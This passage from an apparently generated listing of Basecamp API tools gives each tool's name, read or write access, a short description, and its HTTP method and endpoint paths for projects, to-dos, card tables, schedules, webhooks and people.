Scopes: api. basecamp_get_by_accountid_my_recent_projects_json (read) — List the projects the current user has most recently visited, most recent visit first. via GET /{accountId}/my/recent_projects.json GET /api/v1/basecamp/my/recent_projects.json. Scopes: api. basecamp_get_by_accountid_people_by_personid (read) — Get a person by ID via GET /{accountId}/people/{personId} GET /api/v1/basecamp/people/{personId}. Scopes: api. basecamp_get_by_accountid_people_by_personid_out_of_office_json (read) — Get the out of office status for a person via GET /{accountId}/people/{personId}/out_of_office.json GET /api/v1/basecamp/people/{personId}/out_of_office.json. Scopes: api. basecamp_get_by_accountid_people_json (read) — List all people visible to the current user **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/people.json GET /api/v1/basecamp/people.json. Scopes: api. basecamp_get_by_accountid_projects_by_projectid (read) — Get a single project by id via GET /{accountId}/projects/{projectId} GET /api/v1/basecamp/projects/{projectId}. Scopes: api. basecamp_get_by_accountid_projects_by_projectid_gauge_needles_json (read) — List gauge needles for a project, ordered newest first. via GET /{accountId}/projects/{projectId}/gauge/needles.json GET /api/v1/basecamp/projects/{projectId}/gauge/needles.json. Scopes: api. basecamp_get_by_accountid_projects_by_projectid_people_json (read) — List all active people on a project **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/projects/{projectId}/people.json GET /api/v1/basecamp/projects/{projectId}/people.json. Scopes: api. basecamp_get_by_accountid_projects_by_projectid_timeline_json (read) — Get project timeline via GET /{accountId}/projects/{projectId}/timeline.json GET /api/v1/basecamp/projects/{projectId}/timeline.json. Scopes: api. basecamp_get_by_accountid_projects_by_projectid_timesheet_json (read) — Get timesheet for a specific project via GET /{accountId}/projects/{projectId}/timesheet.json GET /api/v1/basecamp/projects/{projectId}/timesheet.json. Scopes: api. basecamp_get_by_accountid_projects_json (read) — List projects (active by default; optionally archived/trashed) **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/projects.json GET /api/v1/basecamp/projects.json. Scopes: api. basecamp_get_by_accountid_projects_recordings_json (read) — List recordings of a given type across projects **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/projects/recordings.json GET /api/v1/basecamp/projects/recordings.json. Scopes: api. basecamp_get_by_accountid_question_answers_by_answerid (read) — Get a single answer by id via GET /{accountId}/question_answers/{answerId} GET /api/v1/basecamp/question_answers/{answerId}. Scopes: api. basecamp_get_by_accountid_questionnaires_by_questionnaireid (read) — Get a questionnaire (automatic check-ins container) by id via GET /{accountId}/questionnaires/{questionnaireId} GET /api/v1/basecamp/questionnaires/{questionnaireId}. Scopes: api. basecamp_get_by_accountid_questionnaires_by_questionnaireid_questions_json (read) — List all questions in a questionnaire **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/questionnaires/{questionnaireId}/questions.json GET /api/v1/basecamp/questionnaires/{questionnaireId}/questions.json. Scopes: api. basecamp_get_by_accountid_questions_by_questionid (read) — Get a single question by id via GET /{accountId}/questions/{questionId} GET /api/v1/basecamp/questions/{questionId}. Scopes: api. basecamp_get_by_accountid_questions_by_questionid_answers_by_by_personid (read) — Get all answers from a specific person for a question **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/questions/{questionId}/answers/by/{personId} GET /api/v1/basecamp/questions/{questionId}/answers/by/{personId}. Scopes: api. basecamp_get_by_accountid_questions_by_questionid_answers_by_json (read) — List all people who have answered a question (answerers) **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/questions/{questionId}/answers/by.json GET /api/v1/basecamp/questions/{questionId}/answers/by.json. Scopes: api. basecamp_get_by_accountid_questions_by_questionid_answers_json (read) — List all answers for a question **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/questions/{questionId}/answers.json GET /api/v1/basecamp/questions/{questionId}/answers.json. Scopes: api. basecamp_get_by_accountid_recordings_by_recordingid_bookmark_json (read) — Report whether the current user has bookmarked the recording. via GET /{accountId}/recordings/{recordingId}/bookmark.json GET /api/v1/basecamp/recordings/{recordingId}/bookmark.json. Scopes: api. basecamp_get_by_accountid_recordings_by_recordingid_boosts_json (read) — List boosts on a recording via GET /{accountId}/recordings/{recordingId}/boosts.json GET /api/v1/basecamp/recordings/{recordingId}/boosts.json. Scopes: api. basecamp_get_by_accountid_recordings_by_recordingid_comments_json (read) — List comments on a recording **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/recordings/{recordingId}/comments.json GET /api/v1/basecamp/recordings/{recordingId}/comments.json. Scopes: api. basecamp_get_by_accountid_recordings_by_recordingid_events_by_eventid_boosts_json (read) — List boosts on a specific event within a recording via GET /{accountId}/recordings/{recordingId}/events/{eventId}/boosts.json GET /api/v1/basecamp/recordings/{recordingId}/events/{eventId}/boosts.json. Scopes: api. basecamp_get_by_accountid_recordings_by_recordingid_events_json (read) — List all events for a recording **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/recordings/{recordingId}/events.json GET /api/v1/basecamp/recordings/{recordingId}/events.json. Scopes: api. basecamp_get_by_accountid_recordings_by_recordingid_subscription_json (read) — Get subscription information for a recording via GET /{accountId}/recordings/{recordingId}/subscription.json GET /api/v1/basecamp/recordings/{recordingId}/subscription.json. Scopes: api. basecamp_get_by_accountid_recordings_by_recordingid_timesheet_json (read) — Get timesheet for a specific recording via GET /{accountId}/recordings/{recordingId}/timesheet.json GET /api/v1/basecamp/recordings/{recordingId}/timesheet.json. Scopes: api. basecamp_get_by_accountid_reports_gauges_json (read) — List gauges across all projects the authenticated user has access to. via GET /{accountId}/reports/gauges.json GET /api/v1/basecamp/reports/gauges.json. Scopes: api. basecamp_get_by_accountid_reports_progress_json (read) — Get account-wide activity feed (progress report) via GET /{accountId}/reports/progress.json GET /api/v1/basecamp/reports/progress.json. Scopes: api. basecamp_get_by_accountid_reports_schedules_upcoming_json (read) — Get upcoming schedule entries and assignable items within a date window. via GET /{accountId}/reports/schedules/upcoming.json GET /api/v1/basecamp/reports/schedules/upcoming.json. Scopes: api. basecamp_get_by_accountid_reports_timesheet_json (read) — Get account-wide timesheet report via GET /{accountId}/reports/timesheet.json GET /api/v1/basecamp/reports/timesheet.json. Scopes: api. basecamp_get_by_accountid_reports_todos_assigned_by_personid (read) — Get todos assigned to a specific person via GET /{accountId}/reports/todos/assigned/{personId} GET /api/v1/basecamp/reports/todos/assigned/{personId}. Scopes: api. basecamp_get_by_accountid_reports_todos_assigned_json (read) — List people who can be assigned todos via GET /{accountId}/reports/todos/assigned.json GET /api/v1/basecamp/reports/todos/assigned.json. Scopes: api. basecamp_get_by_accountid_reports_todos_overdue_json (read) — Get overdue todos grouped by lateness via GET /{accountId}/reports/todos/overdue.json GET /api/v1/basecamp/reports/todos/overdue.json. Scopes: api. basecamp_get_by_accountid_reports_users_progress_by_personid_json (read) — Get a person's activity timeline via GET /{accountId}/reports/users/progress/{personId}.json GET /api/v1/basecamp/reports/users/progress/{personId}.json. Scopes: api. basecamp_get_by_accountid_schedule_entries_by_entryid (read) — Get a single schedule entry by id. via GET /{accountId}/schedule_entries/{entryId} GET /api/v1/basecamp/schedule_entries/{entryId}. Scopes: api. basecamp_get_by_accountid_schedule_entries_by_entryid_occurrences_by_date (read) — Get a specific occurrence of a recurring schedule entry via GET /{accountId}/schedule_entries/{entryId}/occurrences/{date} GET /api/v1/basecamp/schedule_entries/{entryId}/occurrences/{date}. Scopes: api. basecamp_get_by_accountid_schedules_by_scheduleid (read) — Get a schedule via GET /{accountId}/schedules/{scheduleId} GET /api/v1/basecamp/schedules/{scheduleId}. Scopes: api. basecamp_get_by_accountid_schedules_by_scheduleid_entries_json (read) — List entries on a schedule **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/schedules/{scheduleId}/entries.json GET /api/v1/basecamp/schedules/{scheduleId}/entries.json. Scopes: api. basecamp_get_by_accountid_search_json (read) — Search for content across the account via GET /{accountId}/search.json GET /api/v1/basecamp/search.json. Scopes: api. basecamp_get_by_accountid_searches_metadata_json (read) — Get search metadata (available filter options) via GET /{accountId}/searches/metadata.json GET /api/v1/basecamp/searches/metadata.json. Scopes: api. basecamp_get_by_accountid_stacks_by_folderid (read) — Get one folder, with the projects grouped inside it expanded under `projects`. via GET /{accountId}/stacks/{folderId} GET /api/v1/basecamp/stacks/{folderId}. Scopes: api. basecamp_get_by_accountid_stacks_json (read) — List the authenticated user's folders in home-screen order. via GET /{accountId}/stacks.json GET /api/v1/basecamp/stacks.json. Scopes: api. basecamp_get_by_accountid_templates_by_templateid (read) — Get a single template by id via GET /{accountId}/templates/{templateId} GET /api/v1/basecamp/templates/{templateId}. Scopes: api. basecamp_get_by_accountid_templates_by_templateid_project_constructions_by_constructionid (read) — Get the status of a project construction via GET /{accountId}/templates/{templateId}/project_constructions/{constructionId} GET /api/v1/basecamp/templates/{templateId}/project_constructions/{constructionId}. Scopes: api. basecamp_get_by_accountid_templates_json (read) — List all templates visible to the current user **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/templates.json GET /api/v1/basecamp/templates.json. Scopes: api. basecamp_get_by_accountid_timesheet_entries_by_entryid (read) — Get a single timesheet entry via GET /{accountId}/timesheet_entries/{entryId} GET /api/v1/basecamp/timesheet_entries/{entryId}. Scopes: api. basecamp_get_by_accountid_todolists_by_id (read) — Get a single todolist or todolist group by id The endpoint is polymorphic, but it answers with one shape: BC3 has no group model, so both… via GET /{accountId}/todolists/{id} GET /api/v1/basecamp/todolists/{id}. Scopes: api. basecamp_get_by_accountid_todolists_by_todolistid_groups_json (read) — List groups in a todolist **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/todolists/{todolistId}/groups.json GET /api/v1/basecamp/todolists/{todolistId}/groups.json. Scopes: api. basecamp_get_by_accountid_todolists_by_todolistid_todos_json (read) — List todos in a todolist **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/todolists/{todolistId}/todos.json GET /api/v1/basecamp/todolists/{todolistId}/todos.json. Scopes: api. basecamp_get_by_accountid_todos_by_todoid (read) — Get a single todo by id via GET /{accountId}/todos/{todoId} GET /api/v1/basecamp/todos/{todoId}. Scopes: api. basecamp_get_by_accountid_todos_completed_json (read) — Completed to-dos across all accessible projects, grouped by project (paginated). via GET /{accountId}/todos/completed.json GET /api/v1/basecamp/todos/completed.json. Scopes: api. basecamp_get_by_accountid_todos_no_due_date_json (read) — Open to-dos with no due date across all accessible projects, grouped by project (paginated). via GET /{accountId}/todos/no_due_date.json GET /api/v1/basecamp/todos/no_due_date.json. Scopes: api. basecamp_get_by_accountid_todos_open_json (read) — Active, incomplete to-dos across all accessible projects, grouped by project (paginated). via GET /{accountId}/todos/open.json GET /api/v1/basecamp/todos/open.json. Scopes: api. basecamp_get_by_accountid_todos_overdue_json (read) — Get every overdue to-do across all accessible projects, oldest-due-date-first. via GET /{accountId}/todos/overdue.json GET /api/v1/basecamp/todos/overdue.json. Scopes: api. basecamp_get_by_accountid_todos_unassigned_json (read) — Open, unassigned to-dos across all accessible projects, grouped by project (paginated). via GET /{accountId}/todos/unassigned.json GET /api/v1/basecamp/todos/unassigned.json. Scopes: api. basecamp_get_by_accountid_todosets_by_todosetid (read) — Get a todoset (container for todolists in a project) via GET /{accountId}/todosets/{todosetId} GET /api/v1/basecamp/todosets/{todosetId}. Scopes: api. basecamp_get_by_accountid_todosets_by_todosetid_hill_json (read) — Get the hill chart for a todoset via GET /{accountId}/todosets/{todosetId}/hill.json GET /api/v1/basecamp/todosets/{todosetId}/hill.json. Scopes: api. basecamp_get_by_accountid_todosets_by_todosetid_todolists_json (read) — List todolists in a todoset **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/todosets/{todosetId}/todolists.json GET /api/v1/basecamp/todosets/{todosetId}/todolists.json. Scopes: api. basecamp_get_by_accountid_uploads_by_uploadid (read) — Get a single upload by id via GET /{accountId}/uploads/{uploadId} GET /api/v1/basecamp/uploads/{uploadId}. Scopes: api. basecamp_get_by_accountid_uploads_by_uploadid_versions_json (read) — List versions of an upload **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/uploads/{uploadId}/versions.json GET /api/v1/basecamp/uploads/{uploadId}/versions.json. Scopes: api. basecamp_get_by_accountid_vaults_by_vaultid (read) — Get a single vault by id via GET /{accountId}/vaults/{vaultId} GET /api/v1/basecamp/vaults/{vaultId}. Scopes: api. basecamp_get_by_accountid_vaults_by_vaultid_documents_json (read) — List documents in a vault **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/vaults/{vaultId}/documents.json GET /api/v1/basecamp/vaults/{vaultId}/documents.json. Scopes: api. basecamp_get_by_accountid_vaults_by_vaultid_uploads_json (read) — List uploads in a vault **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/vaults/{vaultId}/uploads.json GET /api/v1/basecamp/vaults/{vaultId}/uploads.json. Scopes: api. basecamp_get_by_accountid_vaults_by_vaultid_vaults_json (read) — List vaults (subfolders) in a vault **Pagination**: Uses Link header (RFC5988). via GET /{accountId}/vaults/{vaultId}/vaults.json GET /api/v1/basecamp/vaults/{vaultId}/vaults.json. Scopes: api. basecamp_get_by_accountid_webhooks_by_webhookid (read) — Get a single webhook by id via GET /{accountId}/webhooks/{webhookId} GET /api/v1/basecamp/webhooks/{webhookId}. Scopes: api. basecamp_post_by_accountid_buckets_by_bucketid_card_tables_by_cardtableid_wormholes_json (write) — Create a wormhole linking this card table to a column on another card table. via POST /{accountId}/buckets/{bucketId}/card_tables/{cardTableId}/wormholes.json POST /api/v1/basecamp/buckets/{bucketId}/card_tables/{cardTableId}/wormholes.json. Scopes: api. basecamp_post_by_accountid_buckets_by_bucketid_card_tables_columns_by_columnid_on_hold_json (write) — Enable on-hold section in a column via POST /{accountId}/buckets/{bucketId}/card_tables/columns/{columnId}/on_hold.json POST /api/v1/basecamp/buckets/{bucketId}/card_tables/columns/{columnId}/on_hold.json. Scopes: api. basecamp_post_by_accountid_buckets_by_bucketid_categories_json (write) — Create a new message type in a project via POST /{accountId}/buckets/{bucketId}/categories.json POST /api/v1/basecamp/buckets/{bucketId}/categories.json. Scopes: api. basecamp_post_by_accountid_buckets_by_bucketid_chats_by_campfireid_integrations_json (write) — Create a new chatbot for a campfire via POST /{accountId}/buckets/{bucketId}/chats/{campfireId}/integrations.json POST /api/v1/basecamp/buckets/{bucketId}/chats/{campfireId}/integrations.json. Scopes: api. basecamp_post_by_accountid_buckets_by_bucketid_dock_tools_json (write) — Create a tool in a project dock via POST /{accountId}/buckets/{bucketId}/dock/tools.json POST /api/v1/basecamp/buckets/{bucketId}/dock/tools.json. Scopes: api. basecamp_post_by_accountid_buckets_by_bucketid_todosets_by_todosetid_todos_json (write) — Create a to-do directly under a project's to-do set, outside any to-do list. via POST /{accountId}/buckets/{bucketId}/todosets/{todosetId}/todos.json POST /api/v1/basecamp/buckets/{bucketId}/todosets/{todosetId}/todos.json. Scopes: api. basecamp_post_by_accountid_buckets_by_bucketid_vaults_by_vaultid_cloud_files_json (write) — Create a new cloud file in a vault. via POST /{accountId}/buckets/{bucketId}/vaults/{vaultId}/cloud_files.json POST /api/v1/basecamp/buckets/{bucketId}/vaults/{vaultId}/cloud_files.json. Scopes: api. basecamp_post_by_accountid_buckets_by_bucketid_vaults_by_vaultid_google_documents_json (write) — Create a new Google document in a vault. via POST /{accountId}/buckets/{bucketId}/vaults/{vaultId}/google_documents.json POST /api/v1/basecamp/buckets/{bucketId}/vaults/{vaultId}/google_documents.json. Scopes: api. basecamp_post_by_accountid_buckets_by_bucketid_webhooks_json (write) — Create a new webhook for a project via POST /{accountId}/buckets/{bucketId}/webhooks.json POST /api/v1/basecamp/buckets/{bucketId}/webhooks.json. Scopes: api. basecamp_post_by_accountid_card_tables_by_cardtableid_columns_json (write) — Create a column in a card table via POST /{accountId}/card_tables/{cardTableId}/columns.json POST /api/v1/basecamp/card_tables/{cardTableId}/columns.json. Scopes: api. basecamp_post_by_accountid_card_tables_by_cardtableid_moves_json (write) — Move a column within a card table via POST /{accountId}/card_tables/{cardTableId}/moves.json POST /api/v1/basecamp/card_tables/{cardTableId}/moves.json. Scopes: api. basecamp_post_by_accountid_card_tables_cards_by_cardid_moves_json (write) — Move a card to a different column via POST /{accountId}/card_tables/cards/{cardId}/moves.json POST /api/v1/basecamp/card_tables/cards/{cardId}/moves.json. Scopes: api. basecamp_post_by_accountid_card_tables_cards_by_cardid_positions_json (write) — Reposition a step within a card via POST /{accountId}/card_tables/cards/{cardId}/positions.json POST /api/v1/basecamp/card_tables/cards/{cardId}/positions.json. Scopes: api. basecamp_post_by_accountid_card_tables_cards_by_cardid_steps_json (write) — Create a step on a card via POST /{accountId}/card_tables/cards/{cardId}/steps.json POST /api/v1/basecamp/card_tables/cards/{cardId}/steps.json. Scopes: api. basecamp_post_by_accountid_card_tables_lists_by_columnid_cards_json (write) — Create a card in a column via POST /{accountId}/card_tables/lists/{columnId}/cards.json POST /api/v1/basecamp/card_tables/lists/{columnId}/cards.json. Scopes: api. basecamp_post_by_accountid_card_tables_lists_by_columnid_subscription_json (write) — Subscribe to a card column (watch for changes) via POST /{accountId}/card_tables/lists/{columnId}/subscription.json POST /api/v1/basecamp/card_tables/lists/{columnId}/subscription.json. Scopes: api. basecamp_post_by_accountid_chats_by_campfireid_lines_json (write) — Create a new line (message) in a campfire via POST /{accountId}/chats/{campfireId}/lines.json POST /api/v1/basecamp/chats/{campfireId}/lines.json. Scopes: api. basecamp_post_by_accountid_lineup_markers_json (write) — Create a new lineup marker via POST /{accountId}/lineup/markers.json POST /api/v1/basecamp/lineup/markers.json. Scopes: api. basecamp_post_by_accountid_message_boards_by_boardid_messages_json (write) — Create a new message on a message board via POST /{accountId}/message_boards/{boardId}/messages.json POST /api/v1/basecamp/message_boards/{boardId}/messages.json. Scopes: api. basecamp_post_by_accountid_my_priorities_json (write) — Add a recording to Up Next — the current user's ordered list of prioritized assignments (the priorities returned by GetMyAssignments). via POST /{accountId}/my/priorities.json POST /api/v1/basecamp/my/priorities.json. Scopes: api. basecamp_post_by_accountid_my_priority_moves_json (write) — Move an already-prioritized recording to a new 1-based position in Up Next (returns 204 No Content). via POST /{accountId}/my/priority_moves.json POST /api/v1/basecamp/my/priority_moves.json. Scopes: api. basecamp_post_by_accountid_people_by_personid_out_of_office_json (write) — Enable or replace out of office for a person. via POST /{accountId}/people/{personId}/out_of_office.json POST /api/v1/basecamp/people/{personId}/out_of_office.json. Scopes: api. basecamp_post_by_accountid_projects_by_projectid_gauge_needles_json (write) — Create a gauge needle (progress update) for a project via POST /{accountId}/projects/{projectId}/gauge/needles.json POST /api/v1/basecamp/projects/{projectId}/gauge/needles.json. Scopes: api. basecamp_post_by_accountid_projects_by_projectid_recent_visit_json (write) — Record that the current user visited a project, moving it to the front of ListRecentProjects (returns 204 No Content). via POST /{accountId}/projects/{projectId}/recent_visit.json POST /api/v1/basecamp/projects/{projectId}/recent_visit.json. Scopes: api. basecamp_post_by_accountid_projects_json (write) — Create a new project via POST /{accountId}/projects.json POST /api/v1/basecamp/projects.json. Scopes: api. basecamp_post_by_accountid_questionnaires_by_questionnaireid_questions_json (write) — Create a new question in a questionnaire via POST /{accountId}/questionnaires/{questionnaireId}/questions.json POST /api/v1/basecamp/questionnaires/{questionnaireId}/questions.json. Scopes: api. basecamp_post_by_accountid_questions_by_questionid_answers_json (write) — Create a new answer for a question via POST /{accountId}/questions/{questionId}/answers.json POST /api/v1/basecamp/questions/{questionId}/answers.json. Scopes: api. basecamp_post_by_accountid_questions_by_questionid_pause_json (write) — Pause a check-in question (stops sending reminders) via POST /{accountId}/questions/{questionId}/pause.json POST /api/v1/basecamp/questions/{questionId}/pause.json. Scopes: api. basecamp_post_by_accountid_recordings_by_messageid_pin_json (write) — Pin a message to the top of the message board via POST /{accountId}/recordings/{messageId}/pin.json POST /api/v1/basecamp/recordings/{messageId}/pin.json. Scopes: api. basecamp_post_by_accountid_recordings_by_recordingid_bookmark_json (write) — Bookmark a recording for the current user. via POST /{accountId}/recordings/{recordingId}/bookmark.json POST /api/v1/basecamp/recordings/{recordingId}/bookmark.json. Scopes: api. basecamp_post_by_accountid_recordings_by_recordingid_boosts_json (write) — Create a boost on a recording via POST /{accountId}/recordings/{recordingId}/boosts.json POST /api/v1/basecamp/recordings/{recordingId}/boosts.json. Scopes: api. basecamp_post_by_accountid_recordings_by_recordingid_comments_json (write) — Create a new comment on a recording via POST /{accountId}/recordings/{recordingId}/comments.json POST /api/v1/basecamp/recordings/{recordingId}/comments.json. Scopes: api. basecamp_post_by_accountid_recordings_by_recordingid_events_by_eventid_boosts_json (write) — Create a boost on a specific event within a recording via POST /{accountId}/recordings/{recordingId}/events/{eventId}/boosts.json POST /api/v1/basecamp/recordings/{recordingId}/events/{eventId}/boosts.json. Scopes: api. basecamp_post_by_accountid_recordings_by_recordingid_spotlight_json (write) — Put a recording's card in the spotlight area on its project or template home page. via POST /{accountId}/recordings/{recordingId}/spotlight.json POST /api/v1/basecamp/recordings/{recordingId}/spotlight.json. Scopes: api. basecamp_post_by_accountid_recordings_by_recordingid_subscription_json (write) — Subscribe the current user to a recording via POST /{accountId}/recordings/{recordingId}/subscription.json POST /api/v1/basecamp/recordings/{recordingId}/subscription.json. Scopes: api. basecamp_post_by_accountid_recordings_by_recordingid_timesheet_entries_json (write) — Create a timesheet entry on a recording via POST /{accountId}/recordings/{recordingId}/timesheet/entries.json POST /api/v1/basecamp/recordings/{recordingId}/timesheet/entries.json. Scopes: api. basecamp_post_by_accountid_recordings_by_toolid_position_json (write) — Enable a tool (show it on the project dock) via POST /{accountId}/recordings/{toolId}/position.json POST /api/v1/basecamp/recordings/{toolId}/position.json. Scopes: api. basecamp_post_by_accountid_schedules_by_scheduleid_entries_json (write) — Create a new schedule entry via POST /{accountId}/schedules/{scheduleId}/entries.json POST /api/v1/basecamp/schedules/{scheduleId}/entries.json. Scopes: api. basecamp_post_by_accountid_stacks_json (write) — Create a folder for the authenticated user and file the given projects into it. via POST /{accountId}/stacks.json POST /api/v1/basecamp/stacks.json. Scopes: api. basecamp_post_by_accountid_templates_by_templateid_project_constructions_json (write) — Create a project from a template (asynchronous) via POST /{accountId}/templates/{templateId}/project_constructions.json POST /api/v1/basecamp/templates/{templateId}/project_constructions.json. Scopes: api. basecamp_post_by_accountid_templates_json (write) — Create a new template via POST /{accountId}/templates.json POST /api/v1/basecamp/templates.json. Scopes: api. basecamp_post_by_accountid_todolists_by_todolistid_groups_json (write) — Create a new group in a todolist via POST /{accountId}/todolists/{todolistId}/groups.json POST /api/v1/basecamp/todolists/{todolistId}/groups.json. Scopes: api. basecamp_post_by_accountid_todolists_by_todolistid_todos_json (write) — Create a new todo in a todolist via POST /{accountId}/todolists/{todolistId}/todos.json POST /api/v1/basecamp/todolists/{todolistId}/todos.json. Scopes: api. basecamp_post_by_accountid_todos_by_todoid_completion_json (write) — Mark a todo as complete via POST /{accountId}/todos/{todoId}/completion.json POST /api/v1/basecamp/todos/{todoId}/completion.json. Scopes: api. basecamp_post_by_accountid_todosets_by_todosetid_todolists_json (write) — Create a new todolist in a todoset via POST /{accountId}/todosets/{todosetId}/todolists.json POST /api/v1/basecamp/todosets/{todosetId}/todolists.json. Scopes: api. basecamp_post_by_accountid_uploads_by_uploadid_versions_json (write) — Replace an upload's file with a new version The recording keeps its id, its URL and its comments; the previous file becomes a past version. via POST /{accountId}/uploads/{uploadId}/versions.json POST /api/v1/basecamp/uploads/{uploadId}/versions.json. Scopes: api. basecamp_post_by_accountid_vaults_by_vaultid_documents_json (write) — Create a new document in a vault via POST /{accountId}/vaults/{vaultId}/documents.json POST /api/v1/basecamp/vaults/{vaultId}/documents.json. Scopes: api. basecamp_post_by_accountid_vaults_by_vaultid_uploads_json (write) — Create a new upload in a vault via POST /{accountId}/vaults/{vaultId}/uploads.json POST /api/v1/basecamp/vaults/{vaultId}/uploads.json. Scopes: api. basecamp_post_by_accountid_vaults_by_vaultid_vaults_json (write) — Create a new vault (subfolder) in a vault via POST /{accountId}/vaults/{vaultId}/vaults.json POST /api/v1/basecamp/vaults/{vaultId}/vaults.json. Scopes: api. basecamp_put_by_accountid_account_name_json (write) — Rename the current account. via PUT /{accountId}/account/name.json PUT /api/v1/basecamp/account/name.json. Scopes: api. basecamp_put_by_accountid_buckets_by_bucketid_card_tables_columns_by_columnid_color_json (write) — Set the color of a column via PUT /{accountId}/buckets/{bucketId}/card_tables/columns/{columnId}/color.json PUT /api/v1/basecamp/buckets/{bucketId}/card_tables/columns/{columnId}/color.json. Scopes: api. basecamp_put_by_accountid_buckets_by_bucketid_card_tables_wormholes_by_wormholeid (write) — Update a wormhole's destination column via PUT /{accountId}/buckets/{bucketId}/card_tables/wormholes/{wormholeId} PUT /api/v1/basecamp/buckets/{bucketId}/card_tables/wormholes/{wormholeId}. Scopes: api. basecamp_put_by_accountid_buckets_by_bucketid_categories_by_typeid (write) — Update an existing message type via PUT /{accountId}/buckets/{bucketId}/categories/{typeId} PUT /api/v1/basecamp/buckets/{bucketId}/categories/{typeId}. Scopes: api. basecamp_put_by_accountid_buckets_by_bucketid_chats_by_campfireid_integrations_by_chatbotid (write) — Update an existing chatbot via PUT /{accountId}/buckets/{bucketId}/chats/{campfireId}/integrations/{chatbotId} PUT /api/v1/basecamp/buckets/{bucketId}/chats/{campfireId}/integrations/{chatbotId}. Scopes: api. basecamp_put_by_accountid_calendars_by_calendarid (write) — Update a calendar's display color. via PUT /{accountId}/calendars/{calendarId} PUT /api/v1/basecamp/calendars/{calendarId}. Scopes: api. basecamp_put_by_accountid_card_tables_cards_by_cardid (write) — Update an existing card via PUT /{accountId}/card_tables/cards/{cardId} PUT /api/v1/basecamp/card_tables/cards/{cardId}. Scopes: api. basecamp_put_by_accountid_card_tables_columns_by_columnid (write) — Update an existing column via PUT /{accountId}/card_tables/columns/{columnId} PUT /api/v1/basecamp/card_tables/columns/{columnId}. Scopes: api. basecamp_put_by_accountid_card_tables_steps_by_stepid (write) — Update an existing step via PUT /{accountId}/card_tables/steps/{stepId} PUT /api/v1/basecamp/card_tables/steps/{stepId}. Scopes: api. basecamp_put_by_accountid_card_tables_steps_by_stepid_completions_json (write) — Set card step completion status (PUT with completion: "on" to complete, "" to uncomplete) via PUT /{accountId}/card_tables/steps/{stepId}/completions.json PUT /api/v1/basecamp/card_tables/steps/{stepId}/completions.json. Scopes: api. basecamp_put_by_accountid_chats_by_campfireid_lines_by_lineid (write) — Update an existing campfire line; the content is always treated as rich text (HTML). via PUT /{accountId}/chats/{campfireId}/lines/{lineId} PUT /api/v1/basecamp/chats/{campfireId}/lines/{lineId}. Scopes: api. basecamp_put_by_accountid_cloud_files_by_cloudfileid (write) — Replace a cloud file with a new complete representation. via PUT /{accountId}/cloud_files/{cloudFileId} PUT /api/v1/basecamp/cloud_files/{cloudFileId}. Scopes: api. basecamp_put_by_accountid_comments_by_commentid (write) — Update an existing comment via PUT /{accountId}/comments/{commentId} PUT /api/v1/basecamp/comments/{commentId}. Scopes: api. basecamp_put_by_accountid_dock_tools_by_toolid (write) — Update (rename) an existing tool via PUT /{accountId}/dock/tools/{toolId} PUT /api/v1/basecamp/dock/tools/{toolId}. Scopes: api. basecamp_put_by_accountid_documents_by_documentid (write) — Replace a document with a new complete representation. via PUT /{accountId}/documents/{documentId} PUT /api/v1/basecamp/documents/{documentId}. Scopes: api. basecamp_put_by_accountid_gauge_needles_by_needleid (write) — Update a gauge needle's description. via PUT /{accountId}/gauge_needles/{needleId} PUT /api/v1/basecamp/gauge_needles/{needleId}. Scopes: api. basecamp_put_by_accountid_google_documents_by_googledocumentid (write) — Replace a Google document with a new complete representation. via PUT /{accountId}/google_documents/{googleDocumentId} PUT /api/v1/basecamp/google_documents/{googleDocumentId}. Scopes: api. basecamp_put_by_accountid_lineup_markers_by_markerid (write) — Update an existing lineup marker via PUT /{accountId}/lineup/markers/{markerId} PUT /api/v1/basecamp/lineup/markers/{markerId}. Scopes: api. basecamp_put_by_accountid_messages_by_messageid (write) — Update an existing message via PUT /{accountId}/messages/{messageId} PUT /api/v1/basecamp/messages/{messageId}. Scopes: api. basecamp_put_by_accountid_my_notes_json (write) — Replace the note's content, recording a new revision server-side. via PUT /{accountId}/my/notes.json PUT /api/v1/basecamp/my/notes.json. Scopes: api. basecamp_put_by_accountid_my_preferences_json (write) — Update the current user's preferences. via PUT /{accountId}/my/preferences.json PUT /api/v1/basecamp/my/preferences.json. Scopes: api. basecamp_put_by_accountid_my_profile_json (write) — Update the current authenticated user's profile (returns 204 No Content) via PUT /{accountId}/my/profile.json PUT /api/v1/basecamp/my/profile.json. Scopes: api. basecamp_put_by_accountid_my_unreads_json (write) — Mark specified items as read via PUT /{accountId}/my/unreads.json PUT /api/v1/basecamp/my/unreads.json. Scopes: api. basecamp_put_by_accountid_projects_by_projectid (write) — Update an existing project via PUT /{accountId}/projects/{projectId} PUT /api/v1/basecamp/projects/{projectId}. Scopes: api. basecamp_put_by_accountid_projects_by_projectid_gauge_json (write) — Enable or disable the gauge for a project. via PUT /{accountId}/projects/{projectId}/gauge.json PUT /api/v1/basecamp/projects/{projectId}/gauge.json. Scopes: api. basecamp_put_by_accountid_projects_by_projectid_people_users_json (write) — Update project access (grant/revoke/create people) via PUT /{accountId}/projects/{projectId}/people/users.json PUT /api/v1/basecamp/projects/{projectId}/people/users.json. Scopes: api. basecamp_put_by_accountid_projects_by_projectid_status_active_json (write) — Restore a project to active status from trash as well as from the archive (returns 204 No Content). via PUT /{accountId}/projects/{projectId}/status/active.json PUT /api/v1/basecamp/projects/{projectId}/status/active.json. Scopes: api. basecamp_put_by_accountid_projects_by_projectid_status_archived_json (write) — Archive a project, removing it from the active project list (returns 204 No Content). via PUT /{accountId}/projects/{projectId}/status/archived.json PUT /api/v1/basecamp/projects/{projectId}/status/archived.json. Scopes: api. basecamp_put_by_accountid_question_answers_by_answerid (write) — Update an existing answer via PUT /{accountId}/question_answers/{answerId} PUT 